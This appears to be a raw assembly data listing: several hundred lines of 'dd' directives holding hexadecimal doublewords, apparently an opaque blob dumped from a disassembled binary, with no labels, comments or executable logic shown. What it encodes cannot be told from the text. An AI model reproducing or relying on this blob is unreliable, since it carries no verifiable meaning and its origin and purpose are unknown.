dd 0F139B307h, 0CE6184DFh, 61C4A0CBh, 2B150104h, 4E41E9C3h
dd 44E47020h, 8983F200h, 15EE163Bh, 0BD8E005Bh, 7B111F0Dh
dd 0AD1CA091h, 5DDD3235h, 5F00B424h, 0DAAA92D1h, 0D18076Fh
dd 90EA015Ah, 141D68D2h, 0D5E75300h, 4EA2E9DBh, 0F377BFh
dd 288B3CF2h, 0BEC24F4Ah, 5DEAF100h, 727A062Fh, 0C9A70519h
dd 0C39F83F5h, 0BFA80C24h, 0A9004B8Fh, 1C1DBC6Ah, 3AEE7A12h
dd 0FE8217F3h, 0F69AB34Ah, 0A2690C0h, 0F1835200h, 0CA62B131h
dd 0C8E00061h, 0CB46ABF5h, 0FD00971Dh, 703B41E6h, 0F8ADE6Ah
dd 1A0766B0h, 1D4EB4Ah, 6F85FE54h, 3B5AE036h, 94DFF028h
dd 0D563BA00h, 0E616F991h, 9B5714DAh, 7B9C94h, 0FB44B4AFh
dd 0EBF134B8h, 0EECC410Fh, 3F58C11Ch, 3D8D075h, 11B900D1h
dd 0B45E06A1h, 0B10239F3h, 0A3916079h, 7334587Dh, 0A18B5AD9h
dd 85AF0040h, 7B004CFDh, 0C5664B15h, 0BAB0B6B7h, 0FB7854h
dd 0E5F4DC42h, 0E921E70Ah, 61E0791Fh, 0F960B83Ah, 0B2839B02h
dd 0E0B0EB89h, 1ECD7258h, 0F74ED37Dh, 10660710h, 0F7F22BFh
dd 80305138h, 52874D37h, 1E3A04C4h, 40BBD13Bh, 9E26F2A2h
dd 0A60099E1h, 0C44B8601h, 1851D314h, 50E97AD7h, 1B006AF9h
dd 0EDB86F4Dh, 7CE736h
dd 3833C769h, 0F7E11885h, 27CAC400h, 0A73C73BEh, 0DF250139h
dd 529288C2h, 0D360200Bh, 245C9D3Fh, 291E6C02h, 4D00801Ch
dd 0D9DB176Bh, 0EB60266h, 0E6CCFE49h, 9A7FCCE0h, 0C934FF08h
dd 0B95300E7h, 0EC6474B1h, 5E05917Dh, 98762538h, 490A8F80h
dd 7FF64C3Fh, 69916800h, 8DBED9CBh, 0BF7483B0h, 0CD47CA02h
dd 409BE8ACh, 58F2AE04h, 720770B7h, 5019232Ch, 64FB9D92h
dd 7C56A207h, 1B801D8Fh, 1E17CE98h, 3BEBA03Dh, 17C92Ch
dd 6ED8F7B5h, 0EA60BA6Fh, 0AB8BC619h, 77D90105h, 0EEE37B9Ch
dd 50888036h, 4A19B041h, 7D9B0046h, 23A9291Ah, 2F007188h
dd 0FA392D3h, 565821h, 15750B74h, 0BBA6E7A7h, 9D8CC40Fh
dd 0A3DBE0A9h, 1D2FDD44h, 0C060E170h, 88BA5ACDh, 0AC01CB01h
dd 72DE0DAAh, 0B1F06F1Ah, 3E0E72F7h, 880038D3h, 0B987CAE2h
dd 63E25462h, 2E9A3D0Bh, 0F6058705h, 78BE7C60h, 4A900CBh
dd 12F7DDA8h, 0C0C00B02h, 0C2C4E3D8h, 0E900FE5h, 8CC06542h
dd 13692E0Ah, 0EAAB8D0Bh, 7B35009Bh, 4BCE20h, 0D41CA5B9h
dd 5D9EEC26h, 0EA77B700h, 0D23809DAh, 31300CDh, 0A9647EFDh
dd 0FA6066BFh, 0B32A7F50h, 0C61F00E8h, 0E37251E2h, 66009376h
dd 4C278F1Dh, 15E8A60h, 88B52152h, 0DC34F5D0h, 0F1029910h
dd 8E117237h, 0B78EE009h, 822B5833h, 240B9400h, 0BE738370h
dd 0E606EE00h, 0E4EFD053h, 0B57C0193h, 6DC8862Ch, 7FC0D27Ah
dd 0AD00552Fh, 8D3C959Eh, 0DFD77Fh, 0E1786552h, 0E8D247CFh
dd 0C50D5A07h, 0C380C049h, 0FCFAC716h, 57513CBAh, 0F9FCD600h
dd 989E2B74h, 15F8C800h, 0D4C99513h, 56FB012Ah, 333F75C7h
dd 0BF5420CEh, 0A3445204h, 0FAC0F036h, 18C82B2h, 37091E6Ah
dd 607F9BE9h, 0ED580688h, 0AF3B0097h, 34A0BAA4h, 93100ECh
dd 0BDAC92C9h, 0BEEAD042h, 478C2501h, 0FBA079E6h, 3DE04020h
dd 400FD17h, 8F083663h, 88EA9E72h, 14007C90h, 0AA2F0DF3h
dd 7E64E87h, 7EF763BEh, 0A7E963ADh, 378EF9C8h, 2698D90Eh
dd 0B7F38009h, 189E0Ch, 6F3416E7h, 0CAE91466h, 4312200h
dd 0F4A30208h, 5EA00CFh, 2E7EFFDDh, 6DEEE665h, 10468A00h
dd 0E8CC992Bh, 0C0BF7EA7h, 0E903FE61h, 88DDBD54h, 7E483540h
dd 504B9D11h, 94C8B1h, 91490690h, 50ACD87h, 0A5FDFE03h
dd 0D36C6B61h, 0F48084AAh, 3A44645Fh, 200E847h, 7DA2CE82h
dd 0AA003DA6h, 0B1BEEED9h, 24A3CCF1h, 105B3Ch, 7D7206B6h
dd 8278505Dh, 5955B900h, 0D5C02D94h, 42FE0021h, 886CC64Fh
dd 26009F6Bh, 0F6A6CBF1h, 507A6E47h, 91CFF2h, 0FDCE032Ch
dd 8C7B2EC2h, 171FDD01h, 7294E64Fh, 0AF0BB440h, 4EE10075h
dd 0B74070B0h, 0E60E0AFDh, 3F35ED1Ah, 0E13C7183h, 62CC831h
dd 80A60092h, 0D0E7EE61h, 6C98F8B7h, 0DD09377Eh, 0B3E194h
dd 0AD217584h, 0BBC9009Ch, 3E4A1B51h, 0F000A1ACh, 0A8EB3FC3h
dd 775F5DEh, 0FD7D664Fh, 87E3A3D8h, 312F2CB0h, 0B85B101Ch
dd 0BC9807Eh, 80117C99h, 6EBA014Ah, 372FD715h, 0C4D44097h
dd 1650361Fh, 4200D2F8h, 0E1568044h, 1C73C129h, 8A23904Ch
dd 28FCF4D6h, 0DC15000Ah, 3106E9E5h, 0BE60F7E8h, 6857ADC0h
dd 0FB4000C9h, 18F87ECFh, 15053D35h, 0D0B6D8DEh, 805C400h
dd 9ABE80Ah, 35FEFAEEh, 81740080h, 0BCF69379h, 179E155Ch
dd 0B00FF566h, 0CFBDA009h, 14A811C0h, 0F00B1D06h, 54E39F01h
dd 40B4215Ch, 0B9C1C3D8h, 87623A00h, 0E3C7255Dh, 0A47C0061h
dd 720B5BE7h, 0DE75D057h, 6F5AEC00h, 694737B2h, 933B00E1h
dd 30D93CE3h, 0F8F512F1h, 0B701E746h, 0C26DB035h, 3E70C68Fh
dd 80A139DAh, 32F82A80h, 7331AFAAh, 6E45C00h, 0B69F816Fh
dd 6E0700F7h, 5975FD04h, 0A913769Ch, 4D04AE78h, 8C80C583h
dd 0E8B9A4BEh, 5DA100CEh, 0A921714Dh, 6A00F6C1h, 0E878562Ah
dd 0B0FFDFD6h, 0C267026Ah, 40B8E287h, 99D20C48h, 2EBAC800h
dd 9E6D7FA6h, 609009h, 0D4D07EFCh, 0F778F473h, 0B8910207h
dd 1190532Bh, 1F67A7h, 0FA400AEFh, 955260A6h, 29827F04h
dd 0C906B64h, 4E53F3Dh, 6FAA5627h, 0D8C567h, 525D4262h
dd 0F100A8A5h, 9414544Bh, 0D62F37h, 3973BF64h, 8070CAE3h
dd 0DDA67603h, 90A88FADh, 0BD077h, 5F53AE02h, 0C0CE239Eh
dd 380E958h, 8B04D2Ah, 5A2F88A9h, 8098EAh, 0D0C2BA81h
dd 4D1CC43Fh, 71FDA500h, 0A15F809Bh, 627300D9h, 18E4C785h
dd 9C00D1C0h, 9D5D1F0Ch, 270899h, 6AF3D71h, 682ABE05h
dd 0EA003478h, 6DA4F5FCh, 0F88B5Ch, 0BD7995C9h, 355D7537h
dd 5BA6A900h, 0D63B9657h, 9D9C004Ch, 0E0AABF0Fh, 42018E20h
dd 0DAA258BDh, 0F8E0CF66h, 7CDF49D1h, 0F7AE2D07h, 71D8A0B0h
dd 2B0069ADh, 74047B4Ah, 3F36080Eh, 0CA806699h, 37754C3Ch
dd 0CF48EFB0h, 5CA10047h, 0A0122E40h, 0C5F20006h, 34047230h
dd 9600298Fh, 3BCB10D9h, 21494Fh, 40C7B38Eh, 0D277595Eh
dd 4AE81D4h, 0BAF68B60h, 35A3AD0Fh, 207ED31Bh, 1B9AEA3Ch
dd 0FF1195A4h, 61CF5D80h, 30789D8Eh, 7F0ED503h, 0B0F4F71Dh
dd 30F2A02h, 7CDFFF2Fh, 603D41B3h, 35D706B1h, 18497F22h
dd 700C9AB2h, 0DE18E5BAh, 4090DC4Eh, 8E690092h, 0DA89AC2h
dd 100EA09Fh, 203FC1F6h, 5C6BF23Eh, 0BA560008h, 5D40CC69h
dd 68A07F0Fh, 8A037D4Eh, 619ACABCh, 57C002B3h, 0C93FF0B1h
dd 8E8D64E8h, 30BB1037h, 0EB7A3D80h, 5B4707A5h, 0C1B206FDh
dd 0FC52C69Ah, 0B3166B8Ch, 78005705h, 0B20C0887h, 9C7548ADh
dd 0EBC42400h, 3A44974Bh, 1C701826h, 0E80101Ch, 354989C8h
dd 98F70785h, 90B46AB3h, 6C0F6FF4h, 20792D07h, 0F8102EE8h
dd 0A03E55h, 8BE48131h, 9B1E2AF7h, 1C4FA63Ah, 13808C50h
dd 0F9748D67h, 26B900E1h, 9B2CC36Eh, 9C031A7Ah, 0F3D4FA88h
dd 0C00B9857h, 0BC6E0093h, 1C656874h, 0E45C473Eh, 1E443A10h
dd 644013B4h, 2A9D9E35h, 79800AABh, 8EA0E95Fh, 0B4C0231Bh
dd 0EE024CDEh, 55699C00h, 5612C7D6h, 90F62AA0h, 5ED4009Ch
dd 48863287h, 9324BD69h, 0D8005B1Dh, 67B20B73h, 9B7E5C8Ah
dd 0E5796000h, 6CC9CA3Fh, 0C4DF68CAh, 223D3781h, 4230B061h
dd 0DAEC00A3h, 0F8ECC4Dh, 121F657Dh, 3E98A57Ah, 60410431h
dd 0DE2981A0h, 0E9720F8Fh, 0A518747Eh, 6F293D0Bh, 0F7400047h
dd 32495833h, 0E3289A63h, 0A55C10B7h, 68DA00B9h, 6027D1C8h
dd 114500ADh, 0EDCC20Ah, 34030549h, 0CFB0240Fh, 776EF9C9h
dd 189FBBF0h, 491BB735h, 3960C736h, 493267FEh, 4C1000FDh
dd 628F92F3h, 840026F2h, 59A93C60h, 71FE7B7Ch, 4A0E1E0Dh
dd 0B7C1C011h, 4C0B567h, 324C3Ch, 0EDD0A34h, 350D28h, 1660EB4Bh
dd 0C0AAD662h, 92651200h, 0BE719834h, 0BCAB58B8h, 7872EB58h
dd 0C8A60085h, 0D410C757h, 56397EB7h, 4F2B0A88h, 900FECA1h
dd 41C340BAh, 66CB93h, 0F4DCEFCDh, 0B257FA30h, 968FD613h
dd 4C659C00h, 877B67h, 8B7671A9h, 0B1C53044h, 0AF84CCE3h
dd 0A4179701h, 39F4D4EFh, 80FB2DCDh, 7BC836C4h, 49EE07h
dd 2AB59769h, 0AF5D916Ch, 0AD686B0Eh, 0BA83E046h, 0E51358h
dd 0ED30E660h, 0C4D6B141h, 440791B0h, 497B994Ah, 420B5630h
dd 3D4B2665h, 4CCA011Ch, 0E493A674h, 96008AF3h, 0C6E53E82h
dd 1C4CD5Ch, 631E3C5Fh, 0CC8375A0h, 0A1E831C7h, 72011771h
dd 2752AD9Ah, 62E4E69Fh, 166105D4h, 80CD58EDh, 8DCFF41Eh
dd 621995F5h
dd 9CFF8304h, 29103A04h, 78AE2E80h, 6C4EB13Fh, 39CA1600h
dd 0FF2C707Bh, 0C8914808h, 2D6D280Ch, 4F446529h, 2488441Bh
dd 44559044h, 2284C92Bh, 41E17CA3h, 1227C728h, 233C82FDh
dd 43C257Eh, 4A365B28h, 12081421h, 9D389083h, 15213451h
dd 9086BB08h, 32308454h, 65423948h, 84702E84h, 2D48316Fh
dd 2F8B1442h, 3B919C10h, 22005122h, 5DC75620h, 59B92F4h
dd 55CE8994h, 11CB81CBh, 0E8F52044h, 806BDB3Bh, 5EABFCB5h
dd 232FFh, 426AEE97h, 0B1642CD9h, 0AFCE5600h, 0FA1A9D30h
dd 1F79814h, 6DAD943Ch, 0D25489ECh, 60F126C0h, 15446400h
dd 0ACBC2E45h, 0CD740705h, 505219A7h, 0C9149FB1h, 9176C800h
dd 4926410Dh, 0B34737CBh, 48CE30B6h, 533CB50Ah, 803E002Ch
dd 8FF92B12h, 0B4363091h, 3AE78E19h, 0A38B7000h, 6583F87Eh
dd 0F77C30D5h, 3FBA0B21h, 0B1891800h, 0D6F6F860h, 0CCB868h
dd 79EB5A0Fh, 7C050D36h, 4429B602h, 481D3121h, 0AC504Ch
dd 0A90F953Ch, 9139A79h, 2FA08A00h, 0CB7A644Eh, 8EFEAEh
dd 16BBA51Ch, 1477B85Bh, 39BDFA30h, 18171E2Eh, 1876EF99h
dd 971DB6C8h, 30426E28h, 48C20B5Ah, 0F709AE98h, 1D720AF0h
dd 4FFF8FD9h, 1B80AB70h, 0CB94ECE5h, 788DCCFFh, 65CEBF00h
dd 54E75734h, 9EC600DAh, 4D06B95Fh, 0F400289Ch, 0B07EE351h
dd 752502CAh, 8DFD008Ch, 343929F0h, 0A260D872h, 58F96328h
dd 0B7B80152h, 91C992EFh, 5B5083DBh, 0C8133EAFh, 0CB299Bh
dd 14305119h, 1528A594h, 0A07D58h, 96220360h, 3E34F33Fh
dd 66006258h, 4124778Dh, 0E30E92C5h, 0C0AE754Eh, 520CBD3Fh
dd 0E54A0020h, 1FA90156h, 9400221Eh, 0ABB36D38h, 8309D2h
dd 555A519h, 1676B90Ah, 0F781C207h, 33B0FE67h, 0E9353Ah
dd 0D06BF578h, 6C638ADCh, 7B091A1Eh, 9D15C780h, 0F5CFE4Bh
dd 8521A3D2h, 0C6FFAA0h, 0E1395084h, 9CD392EEh, 55B46005h
dd 0FB9EF203h, 73B2A868h, 0E6820023h, 2409FE08h, 30019333h
dd 89E86F0Bh, 0FDE476FCh, 118F001Ah, 7EB3ADA1h, 472499D9h
dd 0ED804819h, 0C87AA627h, 0BF82014Ah, 61EA08BEh, 0B253F00Ch
dd 0F55E0300h, 977B6893h, 870D00AAh, 7D79361Ah, 0A2478EFh
dd 43604073h, 0FC015Fh, 7BDD48A7h, 0C1230356h, 0D5544200h
dd 275E042Fh, 3A4D00F4h, 0AD86C283h, 6B006557h, 95125F02h
dd 60C867E5h, 0EDFE16D8h, 0C7001D39h, 6650518Bh, 46E4F7h
dd 0D5CAA635h, 37952574h, 8F006FF8h, 0BDB66CF8h, 16286BB2h
dd 6723C0h, 0DEADEF66h, 6900FD34h, 94BD722h, 48A95DE1h
dd 0CA2EC860h, 438F02E1h, 8FE0760Dh, 94A01B3Ch, 0B6073296h
dd 1678654Fh, 8C6E5440h, 97B100F0h, 0DEC32305h, 190027DCh
dd 3E66C0CBh, 1263BE39h, 85445h, 0AB65DB94h, 6C2D0C8Dh
dd 0E30A80EEh, 215B133h, 49FA7791h, 0DB80ADC8h, 0BAACD47Dh
dd 286EB30Ah, 6309CD72h, 89A8200Ah, 778C2ABh, 19D05409h
dd 86E85075h, 70059D3h, 71609D8Fh, 0F6030CB7h, 0B3530054h
dd 9288125Bh, 0A600A16Fh, 2FBABE9Bh, 0EAD2A4h, 37252D08h
dd 3F26079Dh, 3B659800h, 3EF429A0h, 4B4900F6h, 0D4D86EE3h
dd 91002127h, 6A157110h, 0F47DEA0h, 0C481C889h, 183E32E1h
dd 0B898DC51h, 0D6707100h, 0D93FCF2Ch, 78B324D1h, 286900C8h
dd 1768857Fh, 80E2243Eh, 9A0C08F5h, 2C0DEAh, 0C4809EC5h
dd 0E93385A3h, 8FC8F800h, 0CC4243FAh, 1E3F75D0h, 0C0516AAEh
dd 0B8763E7Bh, 0F3002E19h, 0A8C01CFFh, 66D52Ch, 8B4539F6h
dd 7F44853Eh, 6B51C101h, 0AA3643A2h, 66BA91FBh, 13B9A8F3h
dd 3E90088h, 5191E75Fh, 4001DFCh, 1EB1EE2Bh, 17C6E29Eh
dd 2815E76h, 7183D816h, 3EB800E3h, 6B703FA2h, 0D4877A00h
dd 0FBE20C7h, 81CC4F4Dh, 0CC614334h, 3E00D9A2h, 0FA6F4A3Ch
dd 688377h, 21BBAF8Ch, 0A7F3E457h, 7325C8FCh, 437403Dh
dd 0EED4A095h, 1CB1EAE9h, 5FAF4F7Ch, 870A619h, 2D013E9Fh
dd 769CE83Ch, 0CAA9C8h, 1C1805C1h, 79975CB4h, 0CB368C00h
dd 0B634292Fh, 0F45F04Ch, 70FC18CEh, 2AD50180h, 8B07DF31h
dd 59CC68DCh, 6AB23D70h, 20DE176Fh, 45784F5Bh, 47EE6560h
dd 0EF3126FCh, 396EE232h, 1D80C820h, 804BB534h, 0D3372BADh
dd 0C202CEA6h, 255BED49h, 20BC41C5h, 1C057AD4h, 5D87084Fh
dd 238EC01Bh, 0BCFB732Dh, 15EB0700h, 77CF81FAh, 0A9C70074h
dd 3D88160Fh, 8E00AFB5h, 980159BBh, 0CE31A35Eh, 0B806D98h
dd 57169C34h, 0EA87681Dh, 0BB79E503h, 3FB5E9F0h, 983A9EE4h
dd 55020080h, 0E40D66DBh, 5A00BEFBh, 9C816545h, 3F26EF09h
dd 0CC006D5Eh, 0B27120A3h, 2E70FA4Ch, 13009B7Ah, 1D792B58h
dd 3EA77DCh, 8C7BF1F9h, 0FEE0024Eh, 9907E314h, 108A4928h
dd 6D6B8710h, 748C0167h, 0A99555EEh, 3AD6E8DFh, 6970A2E2h
dd 80F84238h, 3B02A578h, 3AD29F48h, 279124Eh, 83D7500Fh
dd 28C0A461h, 0DF00B86Ah, 186265B0h, 0E211D03h, 0CB52DC41h
dd 878B9220h, 631C5102h, 85806F0Dh, 0BA78D153h, 0BD29006Bh
dd 0E357C2F1h, 0E804182Ch, 0A6983877h, 343D9C00h, 0A958CD7Bh
dd 834317B0h, 0EA79000h, 6C4A3Eh, 0CA44E9F6h, 5E1BDD9Dh
dd 57112600h, 36301CF1h, 0D7350058h, 0EDEC64BAh, 742EC073h
dd 8F1FD517h, 98F65E80h, 26FBC1E0h, 1B4D160h, 468B09B5h
dd 3CFDD423h, 0E07DCC0Fh, 72F1A08Ch, 7970FEh, 0B82AEED2h
dd 0FA9CB206h, 13D44E00h, 1611AB4h, 48CF64Ch, 453E7882h
dd 6FC88083h, 48002AF7h, 8FEEBBD2h, 0E77E1Ch, 0B4465605h
dd 4CD68D3Dh, 5B3E6900h, 5044F680h, 0BFB20057h, 0F78411CBh
dd 0E00E8F1h, 932F342Dh, 227BB31h, 0D996C2Ah, 8220A4DDh
dd 0EE7972CEh, 2454B8B7h, 1B80685h, 0CC2A8F1h, 0FA2A30AEh
dd 0DCCA5Ch, 6B8B0A15h, 11A70Fh, 7CD959D7h, 0D066543Eh
dd 0FD8FCF16h, 0A6C9400h, 63E799h, 573B46B8h, 2B1BE2D5h
dd 0D3587490h, 67FD01F8h, 0CC7173AEh, 5B75C8h, 0ABD414D5h
dd 0FF24799Fh, 0F08EC300h, 2C1B1519h, 62C21F40h, 148240Ch
dd 971DC93Bh, 0A44AC04Bh, 0D4F2E801h, 0E9023573h, 9542F881h
dd 206027E2h, 900050Ch, 0BA3F538Fh, 36C3618h, 10D10C42h
dd 73984A56h, 3C00EA74h, 78E7CEEh, 5C81FD6h, 153428A7h
dd 0C2C90062h, 86AAE65Eh, 0BA041902h, 0E0D3B9AFh, 2301214h
dd 0C44DD785h, 0FD606BC2h, 0FB0065FEh, 35212D40h, 0F9A41Fh
dd 0A5017ACBh, 0AF58DBECh, 0C7326101h, 9729A1Eh, 6A1D4E4h
dd 26DF9E86h, 400B890h, 0E8305DEBh, 1EA45A79h, 0C0A5562Ch
dd 72828391h, 0ED01A3F3h, 0EE73E8B7h, 0C040C433h, 2F9C30Fh
dd 47C65487h, 968577F3h, 0A5D40026h, 0D6AA1EDCh, 0C82A5328h
dd 0B098E548h, 0E5B94965h, 0A5409Fh, 0AF484CB4h, 2D092093h
dd 809FAA59h, 0DF718F44h, 8BC11262h, 69300221h, 0E8E0B65Ah
dd 14E4BD7Dh, 4E228000h, 84A9415Eh, 6B8FAh, 55CE6907h
dd 94E36D3Bh, 0ED4E451Eh, 76018BDEh, 2EF0CB93h, 309CC1E8h
dd 39A83734h, 24001D5Bh, 6257A585h, 87E248h, 0C46B1BA9h
dd 3D3BD8D2h, 0C64A4B01h, 8A11B7B9h, 88607AC9h, 0A1450128h
dd 78CC803Ah, 632DE875h, 7DC6F50Eh, 617C008Eh, 1ECD6E08h
dd 80BA2C3Dh, 21D3A02Bh, 470F982Eh, 0CBF45195h, 348E0071h
dd 0DF1DA4CEh, 5878806Ah, 3CF6E849h, 64913300h, 44B976C1h
dd 0C18001Fh, 0C527285Fh
dd 0D50256BCh, 0ED25D9FEh, 0B84CE311h, 905A4B6h, 0D8DE6063h
dd 0B9852820h, 0DC9010D5h, 5C20F026h, 0B3C57000h, 7F48B14h
dd 0C494F258h, 309620A6h, 0DA01FB17h, 0AEA971F7h, 0D440AAB5h
dd 4A2F65D8h, 0E4B4009Fh, 0DC94DAB0h, 0E7A8B900h, 0F1366675h
dd 6FC8F904h, 0E4C6004Ch, 0F2974062h, 6100877Eh, 78FECEF5h
dd 925CD0Ch, 7A70D741h, 44808000h, 92883A52h, 540700B0h
dd 0EA405ACEh, 88031945h, 0B3C07BE4h, 2A9C90BAh, 4B7A78h
dd 5B6E2597h, 0B0E250CEh, 19953100h, 53DB7FCAh, 1EF10423h
dd 0A7A060h, 2FDC6584h, 574912E8h, 0D5C480F9h, 1200E392h
dd 384CF75Ch, 5106918h, 3936547Ch, 6290C09Eh, 7513D84Eh
dd 4004237Ah, 742DB6Eh, 7848DE7Bh, 0BA058556h, 2158A20Dh
dd 0A740B400h, 0AD78CDh, 0AAF496A4h, 3E56BBD4h, 6709A600h
dd 0C2324731h, 9D340536h, 801BBE3Dh, 8A7D6F88h, 0AE4C4960h
dd 0E09E19D0h, 0D5410E11h, 409853B9h, 2D00EC61h, 148281B1h
dd 3B0E762h, 337D0716h, 6E8E0B7h, 640C182Fh, 0B035BF34h
dd 9766018Dh, 0C3A202A6h, 0D2DC4DDh, 0F69F1B00h, 0B82B4C70h
dd 0CFB1038Eh, 0A43A2441h, 74FC9DF9h, 3E3C99E4h, 0EAED8C0h
dd 64EB95E8h, 7C80D969h, 4F3C884h, 179FF505h, 2B10C03Fh
dd 0BB07425Dh, 97F411A1h, 5FD1A5F0h, 2B22809Ah, 14100C1Ch
dd 20292DCBh, 1E7CDD20h, 658D0349h, 6C669FEBh, 0CFB37FD0h
dd 0E5A0E909h, 605482C6h, 38D05Bh, 30FF63CEh, 0E84E6CC9h
dd 92515300h, 33A6C315h, 2FB72C0Dh, 7543802Ch, 17CACEB5h
dd 9CE72C02h, 0C0674A57h, 0FCD09EACh, 8F0805ADh, 80BA8E95h
dd 0E929F9A7h, 90CAA00h, 34B5850Ah, 73E784Dh, 787EBA7Ch
dd 650EF33Bh, 31A0EAE0h, 3D103A60h, 44462D6Ch, 860025A7h
dd 907762E6h, 70112D1h, 17BBBFCAh, 2C690084h, 7813EE27h
dd 1882A6D7h, 1DC447Dh, 644257FFh, 20C8EB80h, 330C47AEh
dd 0D940DD37h, 0DF1B0065h, 612D7468h, 180919CBh, 0C049851Fh
dd 6600D64h, 0C0DDC4C7h, 0C300905Fh, 0A16E248Fh, 3278EF7Bh
dd 89799583h, 8200B052h, 77DA73D9h, 2A461Fh, 18B5E087h
dd 5078E829h, 90E15F2Ch, 849C2F00h, 39EF66CBh, 3CF85456h
dd 250052AAh, 0FC878EB7h, 8F00AC0Dh, 69A972CCh, 1A14B22h
dd 4AC48CAAh, 0CCDDDE01h, 0B8002804h, 8E9AC56Ah, 7ED7A10h
dd 0CE748A56h, 5004E7DAh, 154767FAh, 69318F00h, 0FE5B7F07h
dd 4FC1007Ch, 8A068CBBh, 1C09AB6Ah, 7EC4E5h, 0AA75EF10h
dd 3B5000C7h, 0FC9C0EA5h, 0AE7A8564h, 2BE3509h, 0A6680040h
dd 0B27701D8h, 3F310400h, 0B0039119h, 0AD018E4Ch, 0B112D0B5h
dd 50602335h, 5C8D1F19h, 8CEF06B9h, 4C003CFAh, 8BE39780h
dd 281699B3h, 98DBBCA2h, 873600BCh, 0AA93815h, 0F8001759h
dd 942716E1h, 3E70Fh, 0F941AE70h, 1929E576h, 0BBA2F406h
dd 39C8753Bh, 0EE0B85F3h, 9C836826h, 9FA03453h, 0B4009BCAh
dd 7BF83A23h, 9020178Dh, 0E3FB00B0h, 4F9FD0B7h, 6B0159C5h
dd 1D538E98h, 0C3EBC24Eh, 0E0E6C078h, 237300A1h, 27EF983Bh
dd 70C377D6h, 0E820A81Bh, 30045288h, 0ED306712h, 4309FAA0h
dd 2080ECD4h, 3BAEFE40h, 0D0244809h, 926A3400h, 0C58C0B55h
dd 1B4514Dh, 0FEE3E02Eh, 3C2C0EC3h, 0BED1ED00h, 0DAB183B7h
dd 24F14E26h, 2FE65A07h, 2A802E00h, 19A960BCh, 5061023Eh
dd 0ACF63328h, 9D122D00h, 6D644D56h, 0AB9C0977h, 6CC05819h
dd 73008633h, 0B1DF1810h, 75A3CF15h, 0E7900543h, 80D0CBAAh
dd 0CD531D50h, 4435242Ch, 8A1C7801h, 5E00DF7Dh, 940099FFh
dd 5704B189h, 5424501h, 770C4710h, 0B5E8A0FDh, 54511600h
dd 8C0F29E8h, 5E6F0024h, 0BF665605h, 0F4F69F3Dh, 0EC5BC405h
dd 4480A874h, 0FC08F958h, 72EA0194h, 1E198BF7h, 302F212Fh
dd 7F0099E4h, 0CD8FEDA9h, 0A564B6h, 0BDD19E38h, 0D57D3306h
dd 0C407AC00h, 50324E8Fh, 0CDF9001Eh, 1CB8D26Fh, 4F00529Fh
dd 72F0C041h, 0C3D738E2h, 3CAD68D0h, 9CFD1DF8h, 130EC800h
dd 4C2082D2h, 3D67EC2h, 29A44608h, 0DD81866Ch, 4E84308Dh
dd 0C1870204h, 80AF4Ah, 0EED0F95Dh, 98FE0E8h, 76819EEFh
dd 80111804h, 9F065B50h, 0A8264B07h, 60EB87CAh, 903AACh
dd 0B512A5FBh, 83CB35E6h, 516ED801h, 5D0F4110h, 5F6001F3h
dd 0D98D1AB0h, 8F10BD8Bh, 3F396549h, 7AD18239h, 0F8F1BBCCh
dd 0F0A4A40h, 1480E668h, 9B3AF770h, 3490DE00h, 0A73FC4D6h
dd 3DB1385h, 8C5030CAh, 0F5F05073h, 0ADC84700h, 0EE3FDC32h
dd 0B3530086h, 5D74F0BEh, 30014E18h, 8AFA6C4Dh, 0B5D3903Dh
dd 8E7FF180h, 7E07000Eh, 4E942B8Ch, 0CF00853Fh, 0EEB7A9B4h
dd 701B05E8h, 8CC5176Eh, 8DFC0020h, 0A4F2064Ah, 14D0213Ah
dd 0CCDDC2h, 0AF7D180Ah, 0BACD85h, 0F686BCA3h, 6428F37Ch
dd 7543959h, 196D02F1h, 70D0A527h, 3D59D7h, 4A9206BFh
dd 0B9CC43E1h, 92967E3Eh, 3400AA39h, 3055E33Ch, 13B0B6EBh
dd 0C04B04D3h, 0D8B3A7h, 191BD973h, 1F5ED462h, 26EDA8Ch
dd 87BE3357h, 42DDE8A0h, 1901F048h, 417D312Eh, 4C70492Dh
dd 3D79D3h, 0EE4D2961h, 0B81C0E63h, 95DD0500h, 53A7ABDAh
dd 9D780DF8h, 44F0D63Ch, 0FA1C881Ah, 0B7C80406h, 7B610A52h
dd 1B9900F3h, 53CEF5BAh, 7A005FAFh, 71EF9740h, 6E6832h
dd 0C4DDCAA0h, 908C7382h, 0C224E003h, 0B38D4D1Eh, 0AB4F88D8h
dd 6C7900E3h, 771296E9h, 0EE000476h, 0E4A671E6h, 0A19878Ch
dd 86534783h, 0C75680C4h, 9EC26CB1h, 0F92FFC00h, 40283A4Dh
dd 0FE6F0014h, 8DD1D368h, 4C12390Eh, 0C20060D0h, 0FD7126ECh
dd 0B4DE0F5Eh, 817E8735h, 6CA453BCh, 70C4406Eh, 0BC960111h
dd 4AAE219Ch, 5D609D00h, 0DD9E78h, 0E18329B2h, 0C7259DCh
dd 73003BFCh, 61AF4E8Bh, 4D70567Ch, 0EA00A41Eh, 81F691B4h
dd 7D00FD9Fh, 28BA0A86h, 0BD9D558h, 0A5C96AC6h, 0B1CD0000h
dd 6E5D18F7h, 84670094h, 30905CD2h, 0E74000CEh, 758F7B6Fh
dd 89795928h, 6122401h, 1A9180B8h, 8B22470h, 4FE62CC4h
dd 0D2F6BB00h, 4DE71F1h, 0BAD1625Eh, 330CD0AAh, 5F07A41Fh
dd 0A2412119h, 5C6D2250h, 597700EDh, 3D5BFA14h, 133854E3h
dd 20F22602h, 90689488h, 3FDD85EBh, 76364D0h, 32C0090h
dd 24545EA9h, 0D00C9FD1h, 7865DB8Fh, 57E01E58h, 0A74C00FDh
dd 1FAD9486h, 93DD8C00h, 32B682CFh, 180C049h, 0EDDB0805h
dd 55059874h, 0B07B2E78h, 9AC880C1h, 0CB94A11h, 6DFF00A6h
dd 6F51DB7Ch, 7D07F3E2h, 9809B3D7h, 8C44E190h, 0BC54393Bh
dd 4AE7A600h, 552A77D5h, 0C5F45F09h, 0D2348048h, 0B89BE351h
dd 0C71B00DCh, 0FC0D499Dh, 8400AB19h, 3771BACFh, 755A61Fh
dd 0DB896D54h, 57804053h, 9307B2BCh, 7BB1334Eh, 8B95FA00h
dd 0C1EC3Eh, 469F798Ch, 3216A008h, 8367253Fh, 0B65F8A6Ch
dd 0F3B3A7D9h, 1D77E80Ah, 151824BFh, 911706F4h, 0AB4F20EEh
dd 98401C1Fh, 0D541FF7Ch, 853600A0h, 4CCDF80Bh, 0F90768B1h
dd 675DE875h, 9EFB61D0h, 0A1981ECFh, 0E2081D6h, 305ADDE4h
dd 4D093908h, 0A7D38757h, 0CFE21C50h, 0D8F84B86h, 1815AF2Fh
